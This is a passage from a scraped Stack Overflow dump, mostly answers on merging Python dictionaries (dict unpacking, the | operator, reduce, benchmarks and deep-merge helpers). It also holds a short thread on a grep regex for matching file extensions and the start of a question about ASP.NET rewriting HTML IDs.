"text": "<p>This is an expression for Python 3.5 or greater that merges dictionaries using <code>reduce</code>:</p>\n<pre><code>>>> from functools import reduce\n>>> l = [{'a': 1}, {'b': 2}, {'a': 100, 'c': 3}]\n>>> reduce(lambda x, y: {**x, **y}, l, {})\n{'a': 100, 'b': 2, 'c': 3}\n</code></pre>\n<p>Note: this works even if the dictionary list is empty or contains only one element.</p>\n<p>For a more efficient merge on Python 3.9 or greater, the <code>lambda</code> can be replaced directly by <code>operator.ior</code>:</p>\n<pre><code>>>> from functools import reduce\n>>> from operator import ior\n>>> l = [{'a': 1}, {'b': 2}, {'a': 100, 'c': 3}]\n>>> reduce(ior, l, {})\n{'a': 100, 'b': 2, 'c': 3}\n</code></pre>\n<p>For Python 3.8 or less, the following can be used as an alternative to <code>ior</code>:</p>\n<pre><code>>>> from functools import reduce\n>>> l = [{'a': 1}, {'b': 2}, {'a': 100, 'c': 3}]\n>>> reduce(lambda x, y: x.update(y) or x, l, {})\n{'a': 100, 'b': 2, 'c': 3}\n</code></pre>\n"
},
{
"answer_id": 50289800,
"author": "Tigran Saluev",
"author_id": 999858,
"author_profile": "https://Stackoverflow.com/users/999858",
"pm_score": 1,
"selected": false,
"text": "<p>I think my ugly one-liners are just necessary here.</p>\n<pre><code>z = next(z.update(y) or z for z in [x.copy()])\n# or\nz = (lambda z: z.update(y) or z)(x.copy())\n</code></pre>\n<ol>\n<li>Dicts are merged.</li>\n<li>Single expression.</li>\n<li>Don't ever dare to use it.</li>\n</ol>\n<p><strong>P.S.</strong> This is a solution working in both versions of Python. I know that Python 3 has this <code>{**x, **y}</code> thing and it is the right thing to use (as well as moving to Python 3 if you still have Python 2 is the right thing to do).</p>\n"
},
{
"answer_id": 54930992,
"author": "ShadowRanger",
"author_id": 364696,
"author_profile": "https://Stackoverflow.com/users/364696",
"pm_score": 4,
"selected": false,
"text": "<p>There will be a new option when Python 3.8 releases (<a href=\"https://www.python.org/dev/peps/pep-0569/#release-schedule\" rel=\"noreferrer\">scheduled for 20 October, 2019</a>), thanks to <a href=\"https://www.python.org/dev/peps/pep-0572/\" rel=\"noreferrer\">PEP 572: Assignment Expressions</a>. The new assignment expression operator <code>:=</code> allows you to assign the result of the <code>copy</code> and still use it to call <code>update</code>, leaving the combined code a single expression, rather than two statements, changing:</p>\n\n<pre><code>newdict = dict1.copy()\nnewdict.update(dict2)\n</code></pre>\n\n<p>to:</p>\n\n<pre><code>(newdict := dict1.copy()).update(dict2)\n</code></pre>\n\n<p>while behaving identically in every way. If you must also return the resulting <code>dict</code> (you asked for an expression returning the <code>dict</code>; the above creates and assigns to <code>newdict</code>, but doesn't return it, so you couldn't use it to pass an argument to a function as is, a la <code>myfunc((newdict := dict1.copy()).update(dict2))</code>), then just add <code>or newdict</code> to the end (since <code>update</code> returns <code>None</code>, which is falsy, it will then evaluate and return <code>newdict</code> as the result of the expression):</p>\n\n<pre><code>(newdict := dict1.copy()).update(dict2) or newdict\n</code></pre>\n\n<p><strong>Important caveat:</strong> In general, I'd discourage this approach in favor of:</p>\n\n<pre><code>newdict = {**dict1, **dict2}\n</code></pre>\n\n<p>The unpacking approach is clearer (to anyone who knows about generalized unpacking in the first place, <a href=\"https://www.python.org/dev/peps/pep-0448/\" rel=\"noreferrer\">which you should</a>), doesn't require a name for the result at all (so it's much more concise when constructing a temporary that is immediately passed to a function or included in a <code>list</code>/<code>tuple</code> literal or the like), and is almost certainly faster as well, being (on CPython) roughly equivalent to:</p>\n\n<pre><code>newdict = {}\nnewdict.update(dict1)\nnewdict.update(dict2)\n</code></pre>\n\n<p>but done at the C layer, using the concrete <code>dict</code> API, so no dynamic method lookup/binding or function call dispatch overhead is involved (where <code>(newdict := dict1.copy()).update(dict2)</code> is unavoidably identical to the original two-liner in behavior, performing the work in discrete steps, with dynamic lookup/binding/invocation of methods.</p>\n\n<p>It's also more extensible, as merging three <code>dict</code>s is obvious:</p>\n\n<pre><code> newdict = {**dict1, **dict2, **dict3}\n</code></pre>\n\n<p>where using assignment expressions won't scale like that; the closest you could get would be:</p>\n\n<pre><code> (newdict := dict1.copy()).update(dict2), newdict.update(dict3)\n</code></pre>\n\n<p>or without the temporary tuple of <code>None</code>s, but with truthiness testing of each <code>None</code> result:</p>\n\n<pre><code> (newdict := dict1.copy()).update(dict2) or newdict.update(dict3)\n</code></pre>\n\n<p>either of which is obviously much uglier, and includes further inefficiencies (either a wasted temporary <code>tuple</code> of <code>None</code>s for comma separation, or pointless truthiness testing of each <code>update</code>'s <code>None</code> return for <code>or</code> separation).</p>\n\n<p><strong>The only real advantage to the assignment expression approach occurs if:</strong></p>\n\n<ol>\n<li><strong>You have generic code that needs handle both <code>set</code>s and <code>dict</code>s</strong> (both of them support <code>copy</code> and <code>update</code>, so the code works roughly as you'd expect it to)</li>\n<li><strong>You expect to receive arbitrary dict-like objects</strong>, not just <code>dict</code> itself, <strong>and must preserve the type and semantics of the left hand side</strong> (rather than ending up with a plain <code>dict</code>). While <code>myspecialdict({**speciala, **specialb})</code> might work, it would involve an extra temporary <code>dict</code>, and if <code>myspecialdict</code> has features plain <code>dict</code> can't preserve (e.g. regular <code>dict</code>s now preserve order based on the first appearance of a key, and value based on the last appearance of a key; you might want one that preserves order based on the <em>last</em> appearance of a key so updating a value also moves it to the end), then the semantics would be wrong. Since the assignment expression version uses the named methods (which are presumably overloaded to behave appropriately), it never creates a <code>dict</code> at all (unless <code>dict1</code> was already a <code>dict</code>), preserving the original type (and original type's semantics), all while avoiding any temporaries.</li>\n</ol>\n"
},
{
"answer_id": 61116810,
"author": "Roushan",
"author_id": 3462681,
"author_profile": "https://Stackoverflow.com/users/3462681",
"pm_score": 3,
"selected": false,
"text": "<p><strong>Python 3.9+ only</strong></p>\n\n<p>Merge (|) and update (|=) operators have been added to the built-in <code>dict</code> class.</p>\n\n<pre><code>>>> d = {'spam': 1, 'eggs': 2, 'cheese': 3}\n>>> e = {'cheese': 'cheddar', 'aardvark': 'Ethel'}\n>>> d | e\n{'spam': 1, 'eggs': 2, 'cheese': 'cheddar', 'aardvark': 'Ethel'}\n</code></pre>\n\n<p>The augmented assignment version operates in-place:</p>\n\n<pre><code>>>> d |= e\n>>> d\n{'spam': 1, 'eggs': 2, 'cheese': 'cheddar', 'aardvark': 'Ethel'}\n</code></pre>\n\n<p>See <a href=\"https://www.python.org/dev/peps/pep-0584/\" rel=\"noreferrer\">PEP 584</a></p>\n"
},
{
"answer_id": 62141222,
"author": "xjcl",
"author_id": 2111778,
"author_profile": "https://Stackoverflow.com/users/2111778",
"pm_score": 4,
"selected": false,
"text": "<p><strong><a href=\"https://www.python.org/dev/peps/pep-0584/#specification\" rel=\"noreferrer\">New</a> in Python 3.9:</strong> Use the union operator (<code>|</code>) to merge <code>dict</code>s similar to <code>set</code>s:</p>\n<pre><code>>>> d = {'a': 1, 'b': 2}\n>>> e = {'a': 9, 'c': 3}\n>>> d | e\n{'a': 9, 'b': 2, 'c': 3}\n</code></pre>\n<p>For matching keys, the <strong>right <code>dict</code> takes precedence</strong>.</p>\n<p>This also works for <code>|=</code> to modify a <code>dict</code> in-place:</p>\n<pre><code>>>> e |= d # e = e | d\n>>> e\n{'a': 1, 'c': 3, 'b': 2}\n</code></pre>\n"
},
{
"answer_id": 62820532,
"author": "Nico Schlömer",
"author_id": 353337,
"author_profile": "https://Stackoverflow.com/users/353337",
"pm_score": 6,
"selected": false,
"text": "<p>I benchmarked the suggested with <a href=\"https://github.com/nschloe/perfplot\" rel=\"noreferrer\">perfplot</a> and found that the good old</p>\n<pre class=\"lang-py prettyprint-override\"><code>x | y\n</code></pre>\n<p>is the fastest solution together with the good old</p>\n<pre><code>{**x, **y}\n</code></pre>\n<p>and</p>\n<pre><code>temp = x.copy()\ntemp.update(y)\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/TsI4P.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/TsI4P.png\" alt=\"enter image description here\" /></a></p>\n<hr />\n<p>Code to reproduce the plot:</p>\n<pre class=\"lang-py prettyprint-override\"><code>from collections import ChainMap\nfrom itertools import chain\nimport perfplot\n\n\ndef setup(n):\n x = dict(zip(range(n), range(n)))\n y = dict(zip(range(n, 2 * n), range(n, 2 * n)))\n return x, y\n\n\ndef copy_update(x, y):\n temp = x.copy()\n temp.update(y)\n return temp\n\n\ndef add_items(x, y):\n return dict(list(x.items()) + list(y.items()))\n\n\ndef curly_star(x, y):\n return {**x, **y}\n\n\ndef chain_map(x, y):\n return dict(ChainMap({}, y, x))\n\n\ndef itertools_chain(x, y):\n return dict(chain(x.items(), y.items()))\n\n\ndef python39_concat(x, y):\n return x | y\n\n\nb = perfplot.bench(\n setup=setup,\n kernels=[\n copy_update,\n add_items,\n curly_star,\n chain_map,\n itertools_chain,\n python39_concat,\n ],\n labels=[\n "copy_update",\n "dict(list(x.items()) + list(y.items()))",\n "{**x, **y}",\n "chain_map",\n "itertools.chain",\n "x | y",\n ],\n n_range=[2 ** k for k in range(18)],\n xlabel="len(x), len(y)",\n equality_check=None,\n)\nb.save("out.png")\nb.show()\n</code></pre>\n"
},
{
"answer_id": 64228920,
"author": "disooqi",
"author_id": 2377431,
"author_profile": "https://Stackoverflow.com/users/2377431",
"pm_score": 3,
"selected": false,
"text": "<p><strong>In Python 3.9</strong></p>\n<p>Based on <a href=\"https://www.python.org/dev/peps/pep-0584/\" rel=\"nofollow noreferrer\">PEP 584</a>, the new version of Python introduces two new operators for dictionaries: union (|) and in-place union (|=). You can use | to merge two dictionaries, while |= will update a dictionary in place:</p>\n<pre><code>>>> pycon = {2016: "Portland", 2018: "Cleveland"}\n>>> europython = {2017: "Rimini", 2018: "Edinburgh", 2019: "Basel"}\n\n>>> pycon | europython\n{2016: 'Portland', 2018: 'Edinburgh', 2017: 'Rimini', 2019: 'Basel'}\n\n>>> pycon |= europython\n>>> pycon\n{2016: 'Portland', 2018: 'Edinburgh', 2017: 'Rimini', 2019: 'Basel'}\n\n</code></pre>\n<p>If d1 and d2 are two dictionaries, then <code>d1 | d2</code> does the same as <code>{**d1, **d2}</code>. The | operator is used for calculating the <a href=\"https://docs.python.org/3/library/stdtypes.html#frozenset.union\" rel=\"nofollow noreferrer\">union of sets</a>, so the notation may already be familiar to you.</p>\n<p>One advantage of using <code>|</code> is that it works on different dictionary-like types and keeps the type through the merge:</p>\n<pre><code>>>> from collections import defaultdict\n>>> europe = defaultdict(lambda: "", {"Norway": "Oslo", "Spain": "Madrid"})\n>>> africa = defaultdict(lambda: "", {"Egypt": "Cairo", "Zimbabwe": "Harare"})\n\n>>> europe | africa\ndefaultdict(<function <lambda> at 0x7f0cb42a6700>,\n {'Norway': 'Oslo', 'Spain': 'Madrid', 'Egypt': 'Cairo', 'Zimbabwe': 'Harare'})\n\n>>> {**europe, **africa}\n{'Norway': 'Oslo', 'Spain': 'Madrid', 'Egypt': 'Cairo', 'Zimbabwe': 'Harare'}\n</code></pre>\n<p>You can use a defaultdict when you want to effectively handle missing keys. Note that <code>|</code> preserves the defaultdict, while <code>{**europe, **africa}</code> does not.</p>\n<p>There are some similarities between how <code>|</code> works for dictionaries and how <code>+</code> works for lists. In fact, the <code>+</code> operator was <a href=\"https://www.python.org/dev/peps/pep-0584/#use-the-addition-operator\" rel=\"nofollow noreferrer\">originally proposed</a> to merge dictionaries as well. This correspondence becomes even more evident when you look at the in-place operator.</p>\n<p>The basic use of <code>|=</code> is to update a dictionary in place, similar to <code>.update()</code>:</p>\n<pre><code>>>> libraries = {\n... "collections": "Container datatypes",\n... "math": "Mathematical functions",\n... }\n>>> libraries |= {"zoneinfo": "IANA time zone support"}\n>>> libraries\n{'collections': 'Container datatypes', 'math': 'Mathematical functions',\n 'zoneinfo': 'IANA time zone support'}\n</code></pre>\n<p>When you merge dictionaries with <code>|</code>, both dictionaries need to be of a proper dictionary type. On the other hand, the in-place operator (<code>|=</code>) is happy to work with any dictionary-like data structure:</p>\n<pre><code>>>> libraries |= [("graphlib", "Functionality for graph-like structures")]\n>>> libraries\n{'collections': 'Container datatypes', 'math': 'Mathematical functions',\n 'zoneinfo': 'IANA time zone support',\n 'graphlib': 'Functionality for graph-like structures'}\n</code></pre>\n"
},
{
"answer_id": 68883045,
"author": "Brian",
"author_id": 8126390,
"author_profile": "https://Stackoverflow.com/users/8126390",
"pm_score": 2,
"selected": false,
"text": "<p>A method is deep merging. Making use of the <code>|</code> operator in 3.9+ for the use case of dict <code>new</code> being a set of default settings, and dict <code>existing</code> being a set of existing settings in use. My goal was to merge in any added settings from <code>new</code> without over writing existing settings in <code>existing</code>. I believe this recursive implementation will allow one to upgrade a dict with new values from another dict.</p>\n<pre><code>def merge_dict_recursive(new: dict, existing: dict):\n merged = new | existing\n\n for k, v in merged.items():\n if isinstance(v, dict):\n if k not in existing:\n # The key is not in existing dict at all, so add entire value\n existing[k] = new[k]\n\n merged[k] = merge_dict_recursive(new[k], existing[k])\n return merged\n</code></pre>\n<p>Example test data:</p>\n<pre><code>new\n{'dashboard': True,\n 'depth': {'a': 1, 'b': 22222, 'c': {'d': {'e': 69}}},\n 'intro': 'this is the dashboard',\n 'newkey': False,\n 'show_closed_sessions': False,\n 'version': None,\n 'visible_sessions_limit': 9999}\nexisting\n{'dashboard': True,\n 'depth': {'a': 5},\n 'intro': 'this is the dashboard',\n 'newkey': True,\n 'show_closed_sessions': False,\n 'version': '2021-08-22 12:00:30.531038+00:00'}\nmerged\n{'dashboard': True,\n 'depth': {'a': 5, 'b': 22222, 'c': {'d': {'e': 69}}},\n 'intro': 'this is the dashboard',\n 'newkey': True,\n 'show_closed_sessions': False,\n 'version': '2021-08-22 12:00:30.531038+00:00',\n 'visible_sessions_limit': 9999}\n</code></pre>\n"
},
{
"answer_id": 69335330,
"author": "worroc",
"author_id": 5871672,
"author_profile": "https://Stackoverflow.com/users/5871672",
"pm_score": 2,
"selected": false,
"text": "<p>Deep merge of dicts:</p>\n<pre><code>from typing import List, Dict\nfrom copy import deepcopy\n\ndef merge_dicts(*from_dicts: List[Dict], no_copy: bool=False) -> Dict :\n """ no recursion deep merge of two dicts\n\n By default creates fresh Dict and merges all to it.\n\n no_copy = True, will merge all dicts to a fist one in a list without copy.\n Why? Sometime I need to combine one dictionary from "layers".\n The "layers" are not in use and dropped immediately after merging.\n """\n\n if no_copy:\n xerox = lambda x:x\n else:\n xerox = deepcopy\n\n result = xerox(from_dicts[0])\n\n for _from in from_dicts[1:]:\n merge_queue = [(result, _from)]\n for _to, _from in merge_queue:\n for k, v in _from.items():\n if k in _to and isinstance(_to[k], dict) and isinstance(v, dict):\n # key collision add both are dicts.\n # add to merging queue\n merge_queue.append((_to[k], v))\n continue\n _to[k] = xerox(v)\n\n return result\n</code></pre>\n<p>Usage:</p>\n<pre><code>print("=============================")\nprint("merge all dicts to first one without copy.")\na0 = {"a":{"b":1}}\na1 = {"a":{"c":{"d":4}}}\na2 = {"a":{"c":{"f":5}, "d": 6}}\nprint(f"a0 id[{id(a0)}] value:{a0}")\nprint(f"a1 id[{id(a1)}] value:{a1}")\nprint(f"a2 id[{id(a2)}] value:{a2}")\nr = merge_dicts(a0, a1, a2, no_copy=True)\nprint(f"r id[{id(r)}] value:{r}")\n\nprint("=============================")\nprint("create fresh copy of all")\na0 = {"a":{"b":1}}\na1 = {"a":{"c":{"d":4}}}\na2 = {"a":{"c":{"f":5}, "d": 6}}\nprint(f"a0 id[{id(a0)}] value:{a0}")\nprint(f"a1 id[{id(a1)}] value:{a1}")\nprint(f"a2 id[{id(a2)}] value:{a2}")\nr = merge_dicts(a0, a1, a2)\nprint(f"r id[{id(r)}] value:{r}")\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38987",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3207/"
] | I want to merge two dictionaries into a new dictionary.
```
x = {'a': 1, 'b': 2}
y = {'b': 3, 'c': 4}
z = merge(x, y)
>>> z
{'a': 1, 'b': 3, 'c': 4}
```
Whenever a key `k` is present in both dictionaries, only the value `y[k]` should be kept. | How can I merge two Python dictionaries in a single expression?
---------------------------------------------------------------
For dictionaries `x` and `y`, their shallowly-merged dictionary `z` takes values from `y`, replacing those from `x`.
* In Python 3.9.0 or greater (released 17 October 2020, [`PEP-584`](https://www.python.org/dev/peps/pep-0584/), [discussed here](https://bugs.python.org/issue36144)):
```py
z = x | y
```
* In Python 3.5 or greater:
```py
z = {**x, **y}
```
* In Python 2, (or 3.4 or lower) write a function:
```py
def merge_two_dicts(x, y):
z = x.copy() # start with keys and values of x
z.update(y) # modifies z with keys and values of y
return z
```
and now:
```py
z = merge_two_dicts(x, y)
```
### Explanation
Say you have two dictionaries and you want to merge them into a new dictionary without altering the original dictionaries:
```py
x = {'a': 1, 'b': 2}
y = {'b': 3, 'c': 4}
```
The desired result is to get a new dictionary (`z`) with the values merged, and the second dictionary's values overwriting those from the first.
```py
>>> z
{'a': 1, 'b': 3, 'c': 4}
```
A new syntax for this, proposed in [PEP 448](https://www.python.org/dev/peps/pep-0448) and [available as of Python 3.5](https://mail.python.org/pipermail/python-dev/2015-February/138564.html), is
```py
z = {**x, **y}
```
And it is indeed a single expression.
Note that we can merge in with literal notation as well:
```py
z = {**x, 'foo': 1, 'bar': 2, **y}
```
and now:
```py
>>> z
{'a': 1, 'b': 3, 'foo': 1, 'bar': 2, 'c': 4}
```
It is now showing as implemented in the [release schedule for 3.5, PEP 478](https://www.python.org/dev/peps/pep-0478/#features-for-3-5), and it has now made its way into the [What's New in Python 3.5](https://docs.python.org/dev/whatsnew/3.5.html#pep-448-additional-unpacking-generalizations) document.
However, since many organizations are still on Python 2, you may wish to do this in a backward-compatible way. The classically Pythonic way, available in Python 2 and Python 3.0-3.4, is to do this as a two-step process:
```py
z = x.copy()
z.update(y) # which returns None since it mutates z
```
In both approaches, `y` will come second and its values will replace `x`'s values, thus `b` will point to `3` in our final result.
Not yet on Python 3.5, but want a *single expression*
-----------------------------------------------------
If you are not yet on Python 3.5 or need to write backward-compatible code, and you want this in a *single expression*, the most performant while the correct approach is to put it in a function:
```py
def merge_two_dicts(x, y):
"""Given two dictionaries, merge them into a new dict as a shallow copy."""
z = x.copy()
z.update(y)
return z
```
and then you have a single expression:
```py
z = merge_two_dicts(x, y)
```
You can also make a function to merge an arbitrary number of dictionaries, from zero to a very large number:
```py
def merge_dicts(*dict_args):
"""
Given any number of dictionaries, shallow copy and merge into a new dict,
precedence goes to key-value pairs in latter dictionaries.
"""
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
```
This function will work in Python 2 and 3 for all dictionaries. e.g. given dictionaries `a` to `g`:
```py
z = merge_dicts(a, b, c, d, e, f, g)
```
and key-value pairs in `g` will take precedence over dictionaries `a` to `f`, and so on.
Critiques of Other Answers
--------------------------
Don't use what you see in the formerly accepted answer:
```py
z = dict(x.items() + y.items())
```
In Python 2, you create two lists in memory for each dict, create a third list in memory with length equal to the length of the first two put together, and then discard all three lists to create the dict. **In Python 3, this will fail** because you're adding two `dict_items` objects together, not two lists -
```py
>>> c = dict(a.items() + b.items())
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for +: 'dict_items' and 'dict_items'
```
and you would have to explicitly create them as lists, e.g. `z = dict(list(x.items()) + list(y.items()))`. This is a waste of resources and computation power.
Similarly, taking the union of `items()` in Python 3 (`viewitems()` in Python 2.7) will also fail when values are unhashable objects (like lists, for example). Even if your values are hashable, **since sets are semantically unordered, the behavior is undefined in regards to precedence. So don't do this:**
```py
>>> c = dict(a.items() | b.items())
```
This example demonstrates what happens when values are unhashable:
```py
>>> x = {'a': []}
>>> y = {'b': []}
>>> dict(x.items() | y.items())
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unhashable type: 'list'
```
Here's an example where `y` should have precedence, but instead the value from `x` is retained due to the arbitrary order of sets:
```py
>>> x = {'a': 2}
>>> y = {'a': 1}
>>> dict(x.items() | y.items())
{'a': 2}
```
Another hack you should not use:
```py
z = dict(x, **y)
```
This uses the `dict` constructor and is very fast and memory-efficient (even slightly more so than our two-step process) but unless you know precisely what is happening here (that is, the second dict is being passed as keyword arguments to the dict constructor), it's difficult to read, it's not the intended usage, and so it is not Pythonic.
Here's an example of the usage being [remediated in django](https://code.djangoproject.com/attachment/ticket/13357/django-pypy.2.diff).
Dictionaries are intended to take hashable keys (e.g. `frozenset`s or tuples), but **this method fails in Python 3 when keys are not strings.**
```py
>>> c = dict(a, **b)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: keyword arguments must be strings
```
From the [mailing list](https://mail.python.org/pipermail/python-dev/2010-April/099459.html), Guido van Rossum, the creator of the language, wrote:
>
> I am fine with
> declaring dict({}, \*\*{1:3}) illegal, since after all it is abuse of
> the \*\* mechanism.
>
>
>
and
>
> Apparently dict(x, \*\*y) is going around as "cool hack" for "call
> x.update(y) and return x". Personally, I find it more despicable than
> cool.
>
>
>
It is my understanding (as well as the understanding of the [creator of the language](https://mail.python.org/pipermail/python-dev/2010-April/099485.html)) that the intended usage for `dict(**y)` is for creating dictionaries for readability purposes, e.g.:
```py
dict(a=1, b=10, c=11)
```
instead of
```py
{'a': 1, 'b': 10, 'c': 11}
```
Response to comments
--------------------
>
> Despite what Guido says, `dict(x, **y)` is in line with the dict specification, which btw. works for both Python 2 and 3. The fact that this only works for string keys is a direct consequence of how keyword parameters work and not a short-coming of dict. Nor is using the \*\* operator in this place an abuse of the mechanism, in fact, \*\* was designed precisely to pass dictionaries as keywords.
>
>
>
Again, it doesn't work for 3 when keys are not strings. The implicit calling contract is that namespaces take ordinary dictionaries, while users must only pass keyword arguments that are strings. All other callables enforced it. `dict` broke this consistency in Python 2:
```
>>> foo(**{('a', 'b'): None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: foo() keywords must be strings
>>> dict(**{('a', 'b'): None})
{('a', 'b'): None}
```
This inconsistency was bad given other implementations of Python (PyPy, Jython, IronPython). Thus it was fixed in Python 3, as this usage could be a breaking change.
I submit to you that it is malicious incompetence to intentionally write code that only works in one version of a language or that only works given certain arbitrary constraints.
More comments:
>
> `dict(x.items() + y.items())` is still the most readable solution for Python 2. Readability counts.
>
>
>
My response: `merge_two_dicts(x, y)` actually seems much clearer to me, if we're actually concerned about readability. And it is not forward compatible, as Python 2 is increasingly deprecated.
>
> `{**x, **y}` does not seem to handle nested dictionaries. the contents of nested keys are simply overwritten, not merged [...] I ended up being burnt by these answers that do not merge recursively and I was surprised no one mentioned it. In my interpretation of the word "merging" these answers describe "updating one dict with another", and not merging.
>
>
>
Yes. I must refer you back to the question, which is asking for a *shallow* merge of ***two*** dictionaries, with the first's values being overwritten by the second's - in a single expression.
Assuming two dictionaries of dictionaries, one might recursively merge them in a single function, but you should be careful not to modify the dictionaries from either source, and the surest way to avoid that is to make a copy when assigning values. As keys must be hashable and are usually therefore immutable, it is pointless to copy them:
```py
from copy import deepcopy
def dict_of_dicts_merge(x, y):
z = {}
overlapping_keys = x.keys() & y.keys()
for key in overlapping_keys:
z[key] = dict_of_dicts_merge(x[key], y[key])
for key in x.keys() - overlapping_keys:
z[key] = deepcopy(x[key])
for key in y.keys() - overlapping_keys:
z[key] = deepcopy(y[key])
return z
```
Usage:
```py
>>> x = {'a':{1:{}}, 'b': {2:{}}}
>>> y = {'b':{10:{}}, 'c': {11:{}}}
>>> dict_of_dicts_merge(x, y)
{'b': {2: {}, 10: {}}, 'a': {1: {}}, 'c': {11: {}}}
```
Coming up with contingencies for other value types is far beyond the scope of this question, so I will point you at [my answer to the canonical question on a "Dictionaries of dictionaries merge"](https://stackoverflow.com/a/24088493/541136).
Less Performant But Correct Ad-hocs
-----------------------------------
These approaches are less performant, but they will provide correct behavior.
They will be *much less* performant than `copy` and `update` or the new unpacking because they iterate through each key-value pair at a higher level of abstraction, but they *do* respect the order of precedence (latter dictionaries have precedence)
You can also chain the dictionaries manually inside a [dict comprehension](https://www.python.org/dev/peps/pep-0274/):
```py
{k: v for d in dicts for k, v in d.items()} # iteritems in Python 2.7
```
or in Python 2.6 (and perhaps as early as 2.4 when generator expressions were introduced):
```py
dict((k, v) for d in dicts for k, v in d.items()) # iteritems in Python 2
```
`itertools.chain` will chain the iterators over the key-value pairs in the correct order:
```py
from itertools import chain
z = dict(chain(x.items(), y.items())) # iteritems in Python 2
```
Performance Analysis
--------------------
I'm only going to do the performance analysis of the usages known to behave correctly. (Self-contained so you can copy and paste yourself.)
```py
from timeit import repeat
from itertools import chain
x = dict.fromkeys('abcdefg')
y = dict.fromkeys('efghijk')
def merge_two_dicts(x, y):
z = x.copy()
z.update(y)
return z
min(repeat(lambda: {**x, **y}))
min(repeat(lambda: merge_two_dicts(x, y)))
min(repeat(lambda: {k: v for d in (x, y) for k, v in d.items()}))
min(repeat(lambda: dict(chain(x.items(), y.items()))))
min(repeat(lambda: dict(item for d in (x, y) for item in d.items())))
```
In Python 3.8.1, NixOS:
```py
>>> min(repeat(lambda: {**x, **y}))
1.0804965235292912
>>> min(repeat(lambda: merge_two_dicts(x, y)))
1.636518670246005
>>> min(repeat(lambda: {k: v for d in (x, y) for k, v in d.items()}))
3.1779992282390594
>>> min(repeat(lambda: dict(chain(x.items(), y.items()))))
2.740647904574871
>>> min(repeat(lambda: dict(item for d in (x, y) for item in d.items())))
4.266070580109954
```
```sh
$ uname -a
Linux nixos 4.19.113 #1-NixOS SMP Wed Mar 25 07:06:15 UTC 2020 x86_64 GNU/Linux
```
Resources on Dictionaries
-------------------------
* [My explanation of Python's **dictionary implementation**, updated for 3.6.](https://stackoverflow.com/questions/327311/how-are-pythons-built-in-dictionaries-implemented/44509302#44509302)
* [Answer on how to add new keys to a dictionary](https://stackoverflow.com/questions/1024847/add-new-keys-to-a-dictionary/27208535#27208535)
* [Mapping two lists into a dictionary](https://stackoverflow.com/questions/209840/map-two-lists-into-a-dictionary-in-python/33737067#33737067)
* [The official Python docs on dictionaries](https://docs.python.org/3/tutorial/datastructures.html#dictionaries)
* [The Dictionary Even Mightier](https://www.youtube.com/watch?v=66P5FMkWoVU) - talk by Brandon Rhodes at Pycon 2017
* [Modern Python Dictionaries, A Confluence of Great Ideas](https://www.youtube.com/watch?v=npw4s1QTmPg) - talk by Raymond Hettinger at Pycon 2017 |
38,993 | <p>Here's a basic regex technique that I've never managed to remember. Let's say I'm using a fairly generic regex implementation (e.g., grep or grep -E). If I were to do a list of files and match any that end in either <code>.sty</code> or <code>.cls</code>, how would I do that?</p>
| [
{
"answer_id": 38994,
"author": "Peter Hoffmann",
"author_id": 720,
"author_profile": "https://Stackoverflow.com/users/720",
"pm_score": 2,
"selected": false,
"text": "<pre><code>egrep \"\\.sty$|\\.cls$\"\n</code></pre>\n"
},
{
"answer_id": 39000,
"author": "aku",
"author_id": 1196,
"author_profile": "https://Stackoverflow.com/users/1196",
"pm_score": 2,
"selected": false,
"text": "<p>This regex:<br>\n \\.(sty|cls)\\z<br>\nwill match any string ends with .sty or .cls<br>\n<strong>EDIT:</strong><br>\nfor grep \\z should be replaced with $ i.e.\n \\.(sty|cls)$\nas <a href=\"https://stackoverflow.com/questions/38993/regex-to-match-unique-substrings#38995\">jelovirt</a> suggested.</p>\n"
},
{
"answer_id": 39004,
"author": "David Webb",
"author_id": 3171,
"author_profile": "https://Stackoverflow.com/users/3171",
"pm_score": 3,
"selected": true,
"text": "<pre><code>ls | grep -E \"\\.(sty|cls)$\"\n</code></pre>\n\n<ul>\n<li><code>\\.</code> matches literally a <code>\".\"</code> - an unescaped <code>.</code> matches any character</li>\n<li><code>(sty|cls)</code> - match <code>\"sty\"</code> or <code>\"cls\"</code> - the | is an <code>or</code> and the brackets limit the expression.</li>\n<li><code>$</code> forces the match to be at the end of the line</li>\n</ul>\n\n<p>Note, you want <code>grep -E</code> or <code>egrep</code>, not <code>grep -e</code> as that's a different option for lists of patterns.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38993",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4161/"
] | Here's a basic regex technique that I've never managed to remember. Let's say I'm using a fairly generic regex implementation (e.g., grep or grep -E). If I were to do a list of files and match any that end in either `.sty` or `.cls`, how would I do that? | ```
ls | grep -E "\.(sty|cls)$"
```
* `\.` matches literally a `"."` - an unescaped `.` matches any character
* `(sty|cls)` - match `"sty"` or `"cls"` - the | is an `or` and the brackets limit the expression.
* `$` forces the match to be at the end of the line
Note, you want `grep -E` or `egrep`, not `grep -e` as that's a different option for lists of patterns. |
38,998 | <p>I'm an Information Architect and JavaScript developer by trade nowadays, but recently I've been getting back into back-end coding again. And, whilst trying to get an HTML prototype integrated and working with our C#-based CMS, I've come to blows with our programmers over the HTML ID attributes being arbitrarily rewritten by .NET for form elements.</p>
<p>I can understand the code-behind reasoning for .NET changing IDs, but the fact you can no longer use IDs when trying to develop e.g. jQuery enhanced interfaces is causing some friction. What can I do to work around this?</p>
<p>I've tried using the class attribute instead, but that's really crappy, not what it's meant for and doesn't get around that problem of .NET effectively changing rendered source on the fly. It also means that CSS is less useful now and less efficient to create and maintain.</p>
<p>Any tips or advice greatly appreciated--anything for a few less sleepless nights...</p>
| [
{
"answer_id": 39012,
"author": "Serhat Ozgel",
"author_id": 31505,
"author_profile": "https://Stackoverflow.com/users/31505",
"pm_score": 2,
"selected": false,
